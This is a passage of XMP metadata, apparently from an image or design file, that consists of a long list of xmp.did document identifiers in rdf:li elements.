               <rdf:li>xmp.did:9EA1AF2B9358DF11BB73AF92DE6846CC</rdf:li>
               <rdf:li>xmp.did:9EC912840720681192B0E6C15935B3CD</rdf:li>
               <rdf:li>xmp.did:9EF7D92FC392DF11AED6A59B0EF71149</rdf:li>
               <rdf:li>xmp.did:9F13814B66F6E1119E13A83D9482291A</rdf:li>
               <rdf:li>xmp.did:9F2C9CACEE0AE11186C29F7E56C3BAA4</rdf:li>
               <rdf:li>xmp.did:9F30DAA31F2068118DBBAAE1F918AC30</rdf:li>
               <rdf:li>xmp.did:9F3DF67D4561E1118151AF68D0767CA5</rdf:li>
               <rdf:li>xmp.did:9F6C1A91DFE1E011BCB8AFADDA69A5DD</rdf:li>
               <rdf:li>xmp.did:9F822ADCF0D711DFBE96AA0FFE5462A2</rdf:li>
               <rdf:li>xmp.did:9F822AE4F0D711DFBE96AA0FFE5462A2</rdf:li>
               <rdf:li>xmp.did:9FACC0108E5EDF11995DC2BC3CE2A790</rdf:li>
               <rdf:li>xmp.did:9FCF2F192B4FE011BF9E841A2F7CD1FC</rdf:li>
               <rdf:li>xmp.did:9FFD7D012B20681192B0FE059EA7239F</rdf:li>
               <rdf:li>xmp.did:A000EA170F20681195FEDF4883024447</rdf:li>
               <rdf:li>xmp.did:A00628E296DADF11BEE08D9B746800A3</rdf:li>
               <rdf:li>xmp.did:A0397E10064FE011A157DCE09D412734</rdf:li>
               <rdf:li>xmp.did:A0546D104BC511E0B78A85AD4FD2359F</rdf:li>
               <rdf:li>xmp.did:A058DBBA8C9E11DFA37EE7A7DC24D5E1</rdf:li>
               <rdf:li>xmp.did:A0A6AE25202068118A6DACAAA4DD6020</rdf:li>
               <rdf:li>xmp.did:A0A9E696E9E5E11192F18837877684FE</rdf:li>
               <rdf:li>xmp.did:A0AFA84FD870E011B557BFCA0CAA97BB</rdf:li>
               <rdf:li>xmp.did:A0CCA3EF0C2768119B06EFBD7439AFE7</rdf:li>
               <rdf:li>xmp.did:A0FB9F976F21681192B0E118D6113D9A</rdf:li>
               <rdf:li>xmp.did:A120A2810D2068118DBB8DD5EFFCBEC9</rdf:li>
               <rdf:li>xmp.did:A12D30420920681197A5A85988FC8512</rdf:li>
               <rdf:li>xmp.did:A1368B7407206811A61383ACB7205BF3</rdf:li>
               <rdf:li>xmp.did:A14383D992BAE011B79EB2A96A4B247D</rdf:li>
               <rdf:li>xmp.did:A15772B2C65BE111BCB288CBBF3D2573</rdf:li>
               <rdf:li>xmp.did:A178E17C492068119109BBB055EA6339</rdf:li>
               <rdf:li>xmp.did:A18E4B53DD8AE111A8C890A650AB28FE</rdf:li>
               <rdf:li>xmp.did:A1A7CEC50E2311E0A49BC0088581CE5F</rdf:li>
               <rdf:li>xmp.did:A1B22D6031EBE011ACB9DC23B8972FD0</rdf:li>
               <rdf:li>xmp.did:A1C5E8639820681188C6A894A1D908BE</rdf:li>
               <rdf:li>xmp.did:A1D6FC15C420681192B0D0C63A6F5098</rdf:li>
               <rdf:li>xmp.did:A1E31DDB6EF6DF11872A9BEB0C6B9535</rdf:li>
               <rdf:li>xmp.did:A1F47BA957ACE011B0E1F93493377C22</rdf:li>
               <rdf:li>xmp.did:A2078374072068118A6DB61EA12CE152</rdf:li>
               <rdf:li>xmp.did:A2082BBA8B77E011BCBA9A13C2599D4B</rdf:li>
               <rdf:li>xmp.did:A21365520E69E1118B1AFEB15F17E16B</rdf:li>
               <rdf:li>xmp.did:A21F72567D09E211BDF3E77D7562D72A</rdf:li>
               <rdf:li>xmp.did:A2368B7407206811A61383ACB7205BF3</rdf:li>
               <rdf:li>xmp.did:A23DA5AAD6B1E011A5629C3693D5C0CF</rdf:li>
               <rdf:li>xmp.did:A25401072CD3E211B017A003AF073B54</rdf:li>
               <rdf:li>xmp.did:A26263210D20681192B0B59A26F7999F</rdf:li>
               <rdf:li>xmp.did:A2B299F0726FE0118AC58FDA9DF5DA7A</rdf:li>
               <rdf:li>xmp.did:A2C2B76E1320681188C69B8C88BD3CC1</rdf:li>
               <rdf:li>xmp.did:A2E31DDB6EF6DF11872A9BEB0C6B9535</rdf:li>
               <rdf:li>xmp.did:A2F5C5F1E5CBDF11AD7D9A1023BE16FD</rdf:li>
               <rdf:li>xmp.did:A3082BBA8B77E011BCBA9A13C2599D4B</rdf:li>
               <rdf:li>xmp.did:A30D0FBEF74F11DFAF2EB5C21BA6BB42</rdf:li>
               <rdf:li>xmp.did:A31481246E9A11E18142C238D6585F25</rdf:li>
               <rdf:li>xmp.did:A32C675E96BB11DF8708CDBFAA1138A4</rdf:li>
               <rdf:li>xmp.did:A333DEF7B62B68118F6292E2E21F9CF4</rdf:li>
               <rdf:li>xmp.did:A3501E239D2FE011A325D07E052CB137</rdf:li>
               <rdf:li>xmp.did:A351198402A6E011AC2DBD12CED7C45E</rdf:li>
               <rdf:li>xmp.did:A3B6ACD2D133E011B14D815C16B7C2CD</rdf:li>
               <rdf:li>xmp.did:A3BF58A359206811BF3BBD747AD61767</rdf:li>
               <rdf:li>xmp.did:A3E31DDB6EF6DF11872A9BEB0C6B9535</rdf:li>
               <rdf:li>xmp.did:A3F4D7821620681192B0C5319CB69C7C</rdf:li>
               <rdf:li>xmp.did:A41B25DD19206811871F850BE2F5A6A4</rdf:li>
               <rdf:li>xmp.did:A425B1E9162068118DBBD057E5D5A7DA</rdf:li>
               <rdf:li>xmp.did:A427431973EC11E0A792FB6CA6498740</rdf:li>
               <rdf:li>xmp.did:A45A44A108206811871FE8C12D95F69C</rdf:li>
               <rdf:li>xmp.did:A45F4D7916206811BA69E1355AF3985A</rdf:li>
               <rdf:li>xmp.did:A48499331620681188C6D9EA900BA018</rdf:li>
               <rdf:li>xmp.did:A48D36A70E206811822ABFFA029D9A53</rdf:li>
               <rdf:li>xmp.did:A491E44BE6EFE011A72BC4DCA77C5A48</rdf:li>
               <rdf:li>xmp.did:A4B17F8AC8FDE111B14EFB863AFE6C6C</rdf:li>
               <rdf:li>xmp.did:A4BC3BBA0A206811AB08C68E1D8234F1</rdf:li>
               <rdf:li>xmp.did:A4BCCDAF6534E01190FDEEE9F363BAE9</rdf:li>
               <rdf:li>xmp.did:A4E31DDB6EF6DF11872A9BEB0C6B9535</rdf:li>
               <rdf:li>xmp.did:A4ECC37607206811A70FD4B90B7BBEFF</rdf:li>
               <rdf:li>xmp.did:A50E450B6321E01187D8ACC10DFC5091</rdf:li>
               <rdf:li>xmp.did:A511B8AD212068119109C4FC82D5C1CB</rdf:li>
               <rdf:li>xmp.did:A521AF3687206811871F82B520273E04</rdf:li>
               <rdf:li>xmp.did:A53B1B6969A4E0118572CAAB95E2A5D7</rdf:li>
               <rdf:li>xmp.did:A53F9284057FE111AFA7A095ADF15780</rdf:li>
               <rdf:li>xmp.did:A570211F5320681188C6C9AE7B3784C7</rdf:li>
               <rdf:li>xmp.did:A57D864FFC7EDF11928CE252CAD94E87</rdf:li>
               <rdf:li>xmp.did:A5DA8FA7BAF8E011A16CF0BCE2EE6054</rdf:li>
               <rdf:li>xmp.did:A5E31DDB6EF6DF11872A9BEB0C6B9535</rdf:li>
               <rdf:li>xmp.did:A5E4336E9133E011AECDCA12FE1A7B56</rdf:li>
               <rdf:li>xmp.did:A5F0B1A348EBE0118A34ADD00EBCF069</rdf:li>
               <rdf:li>xmp.did:A611B8AD212068119109C4FC82D5C1CB</rdf:li>
               <rdf:li>xmp.did:A614DEBAA94711DFADA888B0BC31ACC2</rdf:li>
               <rdf:li>xmp.did:A628AAE1CB4DE0118CCDBF34AD86A220</rdf:li>
               <rdf:li>xmp.did:A63B1B6969A4E0118572CAAB95E2A5D7</rdf:li>
               <rdf:li>xmp.did:A643E4260C20681197A5E8F13FE40D34</rdf:li>
               <rdf:li>xmp.did:A64AAA4EBDD511DFB20C868689A088E0</rdf:li>
               <rdf:li>xmp.did:A65D0DA4D3FDE0118509FDA5314D78B9</rdf:li>
               <rdf:li>xmp.did:A688D3B59AC6E011A93D9F61069A0227</rdf:li>
               <rdf:li>xmp.did:A690EAAFDD2DE011A511C713BC09EA3C</rdf:li>
               <rdf:li>xmp.did:A69EF6AD4D206811910996072F3AA9F4</rdf:li>
               <rdf:li>xmp.did:A6B9D224C11CE011B00CB478FFB6570F</rdf:li>
               <rdf:li>xmp.did:A6BF3C789F36E111A830A618028FF887</rdf:li>
               <rdf:li>xmp.did:A6C24E1BF5C3DF119F6D9BF4B2FB596D</rdf:li>
               <rdf:li>xmp.did:A6C2B76E1320681188C69B8C88BD3CC1</rdf:li>
               <rdf:li>xmp.did:A6C6277E1C89DE11A849D901E441D0B0</rdf:li>
               <rdf:li>xmp.did:A6E31DDB6EF6DF11872A9BEB0C6B9535</rdf:li>
               <rdf:li>xmp.did:A708DDF9C124E1118C79EF9DB268B893</rdf:li>
               <rdf:li>xmp.did:A7163C82329EE011A71ADB62D7E89F30</rdf:li>
               <rdf:li>xmp.did:A733F2891F4BE111A84ED8DFAC42A416</rdf:li>
               <rdf:li>xmp.did:A73625F063BFE111B2D2EAF0FE2C675F</rdf:li>
               <rdf:li>xmp.did:A73B1B6969A4E0118572CAAB95E2A5D7</rdf:li>
               <rdf:li>xmp.did:A78499331620681188C6D9EA900BA018</rdf:li>
               <rdf:li>xmp.did:A79B18936C04E111A2C28599964E3EF2</rdf:li>
               <rdf:li>xmp.did:A7CBB7E20F2068118DBB811CB52FA283</rdf:li>
               <rdf:li>xmp.did:A7E473D0DB77E011A72BB337603AD007</rdf:li>
               <rdf:li>xmp.did:A7E87A2F958C11DFB77CF3AD4F00B0EF</rdf:li>
               <rdf:li>xmp.did:A7EFC3DE586011E09A289F970947A8B6</rdf:li>
               <rdf:li>xmp.did:A806C3667DA0E011A4FEE67DFDD7FB36</rdf:li>
               <rdf:li>xmp.did:A80A9CE5B121681188C696DC609994EC</rdf:li>
               <rdf:li>xmp.did:A80BE1F75EB7DF119C25F73BD446397E</rdf:li>
               <rdf:li>xmp.did:A81036AB6B51E1119D9F9BA046620BD3</rdf:li>
               <rdf:li>xmp.did:A817C161BFA411E08C7396F5C0DD6D7F</rdf:li>
               <rdf:li>xmp.did:A8357674072068118A6D8B9B23B43775</rdf:li>
               <rdf:li>xmp.did:A8378A1336A3DF119EE78D38E30AAF63</rdf:li>
               <rdf:li>xmp.did:A83A97962E2068119109C80A4C3147BC</rdf:li>
               <rdf:li>xmp.did:A83B1B6969A4E0118572CAAB95E2A5D7</rdf:li>
               <rdf:li>xmp.did:A86907BD4DD011E09C3EE2491DCB65B0</rdf:li>
               <rdf:li>xmp.did:A86F4C6E263CDF1183EEA906F471E8EE</rdf:li>
               <rdf:li>xmp.did:A89DD2F60F2068119109E72B2264D5E2</rdf:li>
               <rdf:li>xmp.did:A8C2B76E1320681188C69B8C88BD3CC1</rdf:li>
               <rdf:li>xmp.did:A8DEB2163EACE0119828ADF3E80EFCCF</rdf:li>
               <rdf:li>xmp.did:A8E74E8773206811A9E2F0120C533EF9</rdf:li>
               <rdf:li>xmp.did:A8ECE7294820681188C6E275F11AA5DE</rdf:li>
               <rdf:li>xmp.did:A8F0A274072068118C14B6E32A0451D5</rdf:li>
               <rdf:li>xmp.did:A901B12AEA0011E1B278B6082153ADEF</rdf:li>
               <rdf:li>xmp.did:A9163C82329EE011A71ADB62D7E89F30</rdf:li>
               <rdf:li>xmp.did:A93B1B6969A4E0118572CAAB95E2A5D7</rdf:li>
               <rdf:li>xmp.did:A9432DF857F7DE118BE884B676DB25DC</rdf:li>
               <rdf:li>xmp.did:A947F2DB1A2068118A6D83BDDADBE6EE</rdf:li>
               <rdf:li>xmp.did:A95F5F431E7ADE11882ED420B631F10C</rdf:li>
               <rdf:li>xmp.did:A976BEB94C20681188C6C9AE7B3784C7</rdf:li>
               <rdf:li>xmp.did:A99C375035B8E0119520F6D4AD85BB2B</rdf:li>
               <rdf:li>xmp.did:A99FF003027DDF1185DCFB77CE2E9070</rdf:li>
               <rdf:li>xmp.did:A9BBE4351320681195FEAA7B3841CB4F</rdf:li>
               <rdf:li>xmp.did:A9EA192F292068118DBB82DD622598DD</rdf:li>
               <rdf:li>xmp.did:AA07B12E2A6ADF118FE0DC3DF1A3242E</rdf:li>
               <rdf:li>xmp.did:AA07BAD237206811A582C4C5DC0FF5EF</rdf:li>
               <rdf:li>xmp.did:AA1AFCA3FBB1E111A9CE889B823E764B</rdf:li>
               <rdf:li>xmp.did:AA219AA73F2068119B7BD4F86EBFACF4</rdf:li>
               <rdf:li>xmp.did:AA3B1B6969A4E0118572CAAB95E2A5D7</rdf:li>
               <rdf:li>xmp.did:AA54F1252ECFE111B3AB981A4633F65A</rdf:li>
               <rdf:li>xmp.did:AA701CE4C2246811994C8F9808166B26</rdf:li>
               <rdf:li>xmp.did:AAA7D381A082E011892CD3A09286F9FF</rdf:li>
               <rdf:li>xmp.did:AAC2B76E1320681188C69B8C88BD3CC1</rdf:li>
               <rdf:li>xmp.did:AAD6F828FC7CDF1185DCFB77CE2E9070</rdf:li>
               <rdf:li>xmp.did:AAE0E9190C2068119109B208AFE7A4D2</rdf:li>
               <rdf:li>xmp.did:AAE768FF8D6ADF118290CBB94C5CF4F0</rdf:li>
               <rdf:li>xmp.did:AB074D2D0F9DE011B929E56A1DD8643C</rdf:li>
               <rdf:li>xmp.did:AB27A1C8BEF2DE11AAEFD57ED0E739A2</rdf:li>
               <rdf:li>xmp.did:AB357674072068118A6D8B9B23B43775</rdf:li>
               <rdf:li>xmp.did:AB3B1B6969A4E0118572CAAB95E2A5D7</rdf:li>
               <rdf:li>xmp.did:AB3EFB7607206811A9A48DA9A631D3AD</rdf:li>
               <rdf:li>xmp.did:AB4D4077102068118C14F4EF20EBC8D3</rdf:li>
               <rdf:li>xmp.did:AB7E99DDA5D3DF1184108A6DF5F8799A</rdf:li>
               <rdf:li>xmp.did:AB9A551D14206811B365B30F4020C9A6</rdf:li>
               <rdf:li>xmp.did:ABECC37607206811A70FD4B90B7BBEFF</rdf:li>
               <rdf:li>xmp.did:AC3B1B6969A4E0118572CAAB95E2A5D7</rdf:li>
               <rdf:li>xmp.did:AC5F7C2C5D206811B4F2BD4D6AD5D039</rdf:li>
               <rdf:li>xmp.did:AC7D7AF095B9E0119B46E7B7208E4D7F</rdf:li>
               <rdf:li>xmp.did:AC8AAC72237C11E2A62AD90A56090576</rdf:li>
               <rdf:li>xmp.did:ACC2B76E1320681188C69B8C88BD3CC1</rdf:li>
               <rdf:li>xmp.did:ACCBB7E20F2068118DBB811CB52FA283</rdf:li>
               <rdf:li>xmp.did:ACD6F828FC7CDF1185DCFB77CE2E9070</rdf:li>
               <rdf:li>xmp.did:AD118B0104E4DF119190888724FA0B17</rdf:li>
               <rdf:li>xmp.did:AD1762F607E6DF11B3639BC8018DEB23</rdf:li>
               <rdf:li>xmp.did:AD3773DD9D53DF11B8B4B48CEB770F68</rdf:li>
               <rdf:li>xmp.did:AD5D06BA105AE111BBFBD049E6A3DAF8</rdf:li>
               <rdf:li>xmp.did:AD6392861CCEDF11BE56F1219488CAE1</rdf:li>
               <rdf:li>xmp.did:ADD6F828FC7CDF1185DCFB77CE2E9070</rdf:li>
               <rdf:li>xmp.did:AE1036AB6B51E1119D9F9BA046620BD3</rdf:li>
               <rdf:li>xmp.did:AE182A56492068119109BBB055EA6339</rdf:li>
               <rdf:li>xmp.did:AE33AF4C4C206811871FFDCB7BB36B1C</rdf:li>
               <rdf:li>xmp.did:AE4343DD3D2068119457D1716966A8A1</rdf:li>
               <rdf:li>xmp.did:AE9EF6AD4D206811910996072F3AA9F4</rdf:li>
               <rdf:li>xmp.did:AEB59C250A2068118DBB90708B5C4BE8</rdf:li>
               <rdf:li>xmp.did:AEBF5F424717E1118067EE922A84AB5B</rdf:li>
               <rdf:li>xmp.did:AEE05BD1CD8311DFB1C6D08A28B253C9</rdf:li>
               <rdf:li>xmp.did:AEEFFB4525C3E011BEF0A37AC8AFF6B8</rdf:li>
               <rdf:li>xmp.did:AEFF010E2F4CE011A153D2BF7C2CEB4B</rdf:li>
               <rdf:li>xmp.did:AF223C4E7ED7DD1199E1B78BB722FF90</rdf:li>
               <rdf:li>xmp.did:AF3F48E9A5C0DF118427E32E6F9EFF05</rdf:li>
               <rdf:li>xmp.did:AF3F94FC8A8111DFB58EA5992B51587C</rdf:li>
               <rdf:li>xmp.did:AF570AE92120681197A5A3B219FFC5A3</rdf:li>
               <rdf:li>xmp.did:AF7A5562485DE011841CE93FD1995813</rdf:li>
               <rdf:li>xmp.did:AF7B4A72262068119457B94B0A19120E</rdf:li>
               <rdf:li>xmp.did:AFBBB457E0B9DE1187A2C260A294EDCA</rdf:li>
               <rdf:li>xmp.did:AFFDEF2BE17BDF11B955AF61E0FAB1BB</rdf:li>
               <rdf:li>xmp.did:B00AB6B3222068119DB8BB0B9C67E4C5</rdf:li>
               <rdf:li>xmp.did:B01EADEA1DBBE1118C61C3FA7E29662D</rdf:li>
               <rdf:li>xmp.did:B03E696E21C6DF11891AB4133B3B4FF4</rdf:li>
               <rdf:li>xmp.did:B03F48E9A5C0DF118427E32E6F9EFF05</rdf:li>
               <rdf:li>xmp.did:B05F4EA82520681195729EE0A7A8B868</rdf:li>
               <rdf:li>xmp.did:B05F7C2C5D206811B4F2BD4D6AD5D039</rdf:li>
               <rdf:li>xmp.did:B077DF10E2F511DF9906BD70A187EFB3</rdf:li>
               <rdf:li>xmp.did:B07A5562485DE011841CE93FD1995813</rdf:li>
               <rdf:li>xmp.did:B09C874A37DB11E09A1AECB6F8F33707</rdf:li>
               <rdf:li>xmp.did:B0A20E959834E011BCF0BDCEB0AE5289</rdf:li>
               <rdf:li>xmp.did:B0D4B2BBEACBE1118C43BA743C3495C6</rdf:li>
               <rdf:li>xmp.did:B10D4E5ABEA1E211B12AF195CB5A492D</rdf:li>
               <rdf:li>xmp.did:B11D360C25F1DF119445A5FD895D781E</rdf:li>
               <rdf:li>xmp.did:B13F48E9A5C0DF118427E32E6F9EFF05</rdf:li>
               <rdf:li>xmp.did:B14343DD3D2068119457D1716966A8A1</rdf:li>
               <rdf:li>xmp.did:B144CA90092068118DBBE78380E08E1D</rdf:li>
               <rdf:li>xmp.did:B16C4466D159E011A2349D60467845DF</rdf:li>
               <rdf:li>xmp.did:B1854DB6AB37E0118B3D9D759656F948</rdf:li>
               <rdf:li>xmp.did:B1A10D76072068118A6DB7170A660991</rdf:li>
               <rdf:li>xmp.did:B1D109833BC0DF1195F7E985E63CE013</rdf:li>
               <rdf:li>xmp.did:B1D6F828FC7CDF1185DCFB77CE2E9070</rdf:li>
               <rdf:li>xmp.did:B1EFFB4525C3E011BEF0A37AC8AFF6B8</rdf:li>
               <rdf:li>xmp.did:B2050E11ED5EE111894388FE7C45A3CC</rdf:li>
               <rdf:li>xmp.did:B2182A56492068119109BBB055EA6339</rdf:li>
               <rdf:li>xmp.did:B22E72991EDFE011BAC7F7CD194FE1BE</rdf:li>
               <rdf:li>xmp.did:B2461DD84E7B11E0AE7EE57423BA3D5C</rdf:li>
               <rdf:li>xmp.did:B24967260A2068118C1492EA0CBF3CBE</rdf:li>
               <rdf:li>xmp.did:B251B6060EFDDF11B2E3C4FD4894A392</rdf:li>
               <rdf:li>xmp.did:B2E2684C49226811AB08A7F30EE532D7</rdf:li>
               <rdf:li>xmp.did:B2E4D55416A7E0118C6EC0206010BA70</rdf:li>
               <rdf:li>xmp.did:B317AEB6F2B1E0118D27D38516C058AD</rdf:li>
               <rdf:li>xmp.did:B32365E12D2068118083FA6F2B9D22D5</rdf:li>
               <rdf:li>xmp.did:B326D72B98C4DF11BA82AFFFE558943D</rdf:li>
               <rdf:li>xmp.did:B328AACB201DE2119E6CE4C21B23499D</rdf:li>
               <rdf:li>xmp.did:B32D345E92D1E01189C59130EDE658F2</rdf:li>
               <rdf:li>xmp.did:B32E3D397D2511DF8E24B415534FB3A8</rdf:li>
               <rdf:li>xmp.did:B344C39211C1E0119808A66B9DEDE695</rdf:li>
               <rdf:li>xmp.did:B391F8CD01B511E1A18F97A8D26A3B0F</rdf:li>
               <rdf:li>xmp.did:B3AF0C1925FBE111A46EF64EE1544865</rdf:li>
               <rdf:li>xmp.did:B3AF49D8757E11E1A8CEA9FD08112F94</rdf:li>
               <rdf:li>xmp.did:B3AF49DC757E11E1A8CEA9FD08112F94</rdf:li>
               <rdf:li>xmp.did:B3D6A9797DF6DF118BD0B529AFD3BF41</rdf:li>
               <rdf:li>xmp.did:B3F1D2CFEB3DE11192B1FB7298FCCB44</rdf:li>
               <rdf:li>xmp.did:B3F8A210122FE011BDA483DC746328C1</rdf:li>
               <rdf:li>xmp.did:B3FCE625EDDAE0118842B29FA6343094</rdf:li>
               <rdf:li>xmp.did:B40B63B02179DF11925588942757E37B</rdf:li>
               <rdf:li>xmp.did:B427D51B1A206811871FD8C44DFE5881</rdf:li>
               <rdf:li>xmp.did:B43A9BE516B9E011AEBCBCB1E3A15768</rdf:li>
               <rdf:li>xmp.did:B4D86BFCCB3EE011BA4E8E527ABDD6D4</rdf:li>
               <rdf:li>xmp.did:B4E0211D2220681191098EDA3A856956</rdf:li>
               <rdf:li>xmp.did:B505585B4720681188C6D9EA900BA018</rdf:li>
               <rdf:li>xmp.did:B5277D793C5CE011BC4DCD015141EC92</rdf:li>
               <rdf:li>xmp.did:B5303B7F0BF4E011A3B8C228A3A70E0D</rdf:li>
               <rdf:li>xmp.did:B55D97684EC7DF11B3AAD848D6BE3030</rdf:li>
               <rdf:li>xmp.did:B58C1402E92D11DFB59FBE318B69A4AF</rdf:li>
               <rdf:li>xmp.did:B5A517ECBFE5E1118B99A97503504C1B</rdf:li>
               <rdf:li>xmp.did:B5B0C2465198DE1186268619AF7D6180</rdf:li>
               <rdf:li>xmp.did:B5B549E694F7DE119291E766B0A1BEF8</rdf:li>
               <rdf:li>xmp.did:B5FE41D2BCF0E011BA01817F5CF493FF</rdf:li>
               <rdf:li>xmp.did:B609F8673D2068118DBB9A2BD87D7921</rdf:li>
               <rdf:li>xmp.did:B60B63B02179DF11925588942757E37B</rdf:li>
               <rdf:li>xmp.did:B62D6A697C216811A961AF349CA669AF</rdf:li>
               <rdf:li>xmp.did:B63D0D25162068118DBBC951C2B0319E</rdf:li>
               <rdf:li>xmp.did:B64468DD2020681192B0FB3680825E28</rdf:li>
               <rdf:li>xmp.did:B6668374072068118A6DF6A6E4FAF603</rdf:li>
               <rdf:li>xmp.did:B6691894FB7EE111AFA7A095ADF15780</rdf:li>
               <rdf:li>xmp.did:B66B14327664E011BE41B15A6A029915</rdf:li>
               <rdf:li>xmp.did:B66DF899CC5ADF11A43BBFFCA0D3E31D</rdf:li>
               <rdf:li>xmp.did:B671C99EF5CBDF11B811842CD74C03EB</rdf:li>
               <rdf:li>xmp.did:B6936E01CE9DE011AF4CB0B3AD39C76D</rdf:li>
               <rdf:li>xmp.did:B6AEC62A1A99E011BE07923422AA7E51</rdf:li>
               <rdf:li>xmp.did:B6DB0B007C20681197A5FEC97E293B54</rdf:li>
               <rdf:li>xmp.did:B6F2711BBEBBDF1196F5B44D3A9BD6F6</rdf:li>
               <rdf:li>xmp.did:B705585B4720681188C6D9EA900BA018</rdf:li>
               <rdf:li>xmp.did:B70CC0A3962E11DFBC9BA3D053D5FACD</rdf:li>
               <rdf:li>xmp.did:B7159B790D20681191098DD8D007A98D</rdf:li>
               <rdf:li>xmp.did:B71FDB41082068118DBBC951C2B0319E</rdf:li>
               <rdf:li>xmp.did:B7303852DC5011E0B192AB8A8597E6C6</rdf:li>
               <rdf:li>xmp.did:B7330B1509ECDF119C1DEB41A045255E</rdf:li>
               <rdf:li>xmp.did:B74ACEE3B8206811BF3094187AF8421C</rdf:li>
               <rdf:li>xmp.did:B7598833D620681188C6C0C998FCF1E5</rdf:li>
               <rdf:li>xmp.did:B759B68C3D5EE1119B27C1129F53AB55</rdf:li>
               <rdf:li>xmp.did:B75D0781CD8311DF8A64E83DF8E69F60</rdf:li>
               <rdf:li>xmp.did:B77A4692AD5BE011B15EA3EAC5CB1CE0</rdf:li>
               <rdf:li>xmp.did:B78F82B1A568E21192A6C416C704C783</rdf:li>
               <rdf:li>xmp.did:B7A4707036E3DF11AB509BEE1258BAE6</rdf:li>
               <rdf:li>xmp.did:B7B90F1E092DE0119896EF5483510B8A</rdf:li>
               <rdf:li>xmp.did:B7BAD6353A1CE211BD91C82530D1D7D7</rdf:li>
               <rdf:li>xmp.did:B7BB095BA0B0E011BAE7AFCF64253DF5</rdf:li>
               <rdf:li>xmp.did:B7BE9B33ED206811808393D1ADB6772F</rdf:li>
               <rdf:li>xmp.did:B7D06549DF206811871FEC7C962926E4</rdf:li>
               <rdf:li>xmp.did:B7D2F1016D1011E08F47C4A93831B2AB</rdf:li>
               <rdf:li>xmp.did:B7F56172FF25E1118B2BABD0C6FD79EC</rdf:li>
               <rdf:li>xmp.did:B7FF8586967CE11192C0BDEF0C9CCFD8</rdf:li>
               <rdf:li>xmp.did:B80318D405E9DF11A201C440D5A15B8D</rdf:li>
               <rdf:li>xmp.did:B805E7E9572DE0118E3BFF515E28470D</rdf:li>
               <rdf:li>xmp.did:B82D6A697C216811A961AF349CA669AF</rdf:li>
               <rdf:li>xmp.did:B8440D0B0F206811AE3FD62352FF1D11</rdf:li>
               <rdf:li>xmp.did:B855F37945E1DF11A211C5FE5B456584</rdf:li>
               <rdf:li>xmp.did:B86D09FE97B3E111B1269F46DE8F51D9</rdf:li>
               <rdf:li>xmp.did:B89FCE9A0720681197C09DBD9CA99EB3</rdf:li>
               <rdf:li>xmp.did:B8B713AFB850DE119B90DCE93D6567E3</rdf:li>
               <rdf:li>xmp.did:B9063AB8156AE2118DD6CD3D41E5D202</rdf:li>
               <rdf:li>xmp.did:B928BC2D2E2068118F62A2D886FC3EA7</rdf:li>
               <rdf:li>xmp.did:B932B92E0920681188C6956C521FE498</rdf:li>
               <rdf:li>xmp.did:B956EA72157DDF11A762EA67B35A3A50</rdf:li>
               <rdf:li>xmp.did:B9BD510749B7DF11B42686DD0B247B00</rdf:li>
               <rdf:li>xmp.did:BA1D79F8864311E295AEC311747A4588</rdf:li>
               <rdf:li>xmp.did:BA2334AEFD53E011A54D9507E0E8BC34</rdf:li>
               <rdf:li>xmp.did:BA256E4948206811B4F2BCAD1345762A</rdf:li>
               <rdf:li>xmp.did:BA903E531C226811B840E00E6A4F6FDC</rdf:li>
               <rdf:li>xmp.did:BAADD041387AE111A363A237CE902BE6</rdf:li>
               <rdf:li>xmp.did:BAC3E7D57264E111AAF6C64F174B7ABF</rdf:li>
               <rdf:li>xmp.did:BAC74A767A3BDF11B81DE3CAC7B760A2</rdf:li>
               <rdf:li>xmp.did:BACE89DB082068118DBBC951C2B0319E</rdf:li>
               <rdf:li>xmp.did:BAE948E4A421681183A2BC64D6373250</rdf:li>
               <rdf:li>xmp.did:BAFCE625EDDAE0118842B29FA6343094</rdf:li>
               <rdf:li>xmp.did:BB04E02B48E3DF11841DFAE875AE9437</rdf:li>
               <rdf:li>xmp.did:BB04E654132068118DBBC951C2B0319E</rdf:li>
               <rdf:li>xmp.did:BB07EADA25206811AFBDF43FFCB42EC5</rdf:li>
               <rdf:li>xmp.did:BB0D6483C794DF118D69EC6829104E8E</rdf:li>
               <rdf:li>xmp.did:BB0F008D11206811BD35B6F06AAF40D7</rdf:li>
               <rdf:li>xmp.did:BB1625B78953E011A54D9507E0E8BC34</rdf:li>
               <rdf:li>xmp.did:BB23192EF7CBE011B5F0854E3819B547</rdf:li>
               <rdf:li>xmp.did:BB251EF6B780E011BFF8C28A70355E3A</rdf:li>
               <rdf:li>xmp.did:BB3565E81520681192B0BAA904DE0F8D</rdf:li>
               <rdf:li>xmp.did:BB3C84B28158DF119ED0B9B507A39113</rdf:li>
               <rdf:li>xmp.did:BB4D0FDC53D711E29B3CFBF099685E32</rdf:li>
               <rdf:li>xmp.did:BB507A11A3F5E111BDB0A9EC33EEE33D</rdf:li>
               <rdf:li>xmp.did:BB7120FFB298E011A1CFE74C32352954</rdf:li>
               <rdf:li>xmp.did:BB748BFBE1F6DE118A4D938515C27EED</rdf:li>
               <rdf:li>xmp.did:BB75AA48AAA911DF98C1DB094064B1FE</rdf:li>
               <rdf:li>xmp.did:BB7AC455F873E0118BFFCEA4E79C7404</rdf:li>
               <rdf:li>xmp.did:BB82251CC220681197A5FEC97E293B54</rdf:li>
               <rdf:li>xmp.did:BBAD363C202068118F62F8D9147DC05A</rdf:li>
               <rdf:li>xmp.did:BBADB53AA128E1119161AA82B891173A</rdf:li>
               <rdf:li>xmp.did:BBB549E694F7DE119291E766B0A1BEF8</rdf:li>
               <rdf:li>xmp.did:BBDDB312AB206811AADAE549D6335493</rdf:li>
               <rdf:li>xmp.did:BBE0CFA2B12068118F62B83BB8D9B324</rdf:li>
               <rdf:li>xmp.did:BC0D6483C794DF118D69EC6829104E8E</rdf:li>
               <rdf:li>xmp.did:BC14929B7521681188C696DC609994EC</rdf:li>
               <rdf:li>xmp.did:BC806AC3DFD7E0118AB9ECA40DAC3FF4</rdf:li>
               <rdf:li>xmp.did:BC87D955B461DF1186C7B47407E46CEC</rdf:li>
               <rdf:li>xmp.did:BC9A5F8525206811A108FBEB84F07375</rdf:li>
               <rdf:li>xmp.did:BC9B22EE162068118083B78A909B2B11</rdf:li>
               <rdf:li>xmp.did:BCA13C110A2068118C1492EA0CBF3CBE</rdf:li>
               <rdf:li>xmp.did:BCC8924632206811A178B4862A3AC2C7</rdf:li>
               <rdf:li>xmp.did:BCCA85B00B2068119109870628CE59B5</rdf:li>
               <rdf:li>xmp.did:BD14929B7521681188C696DC609994EC</rdf:li>
               <rdf:li>xmp.did:BD2A33F9082068119835C5D37609114D</rdf:li>
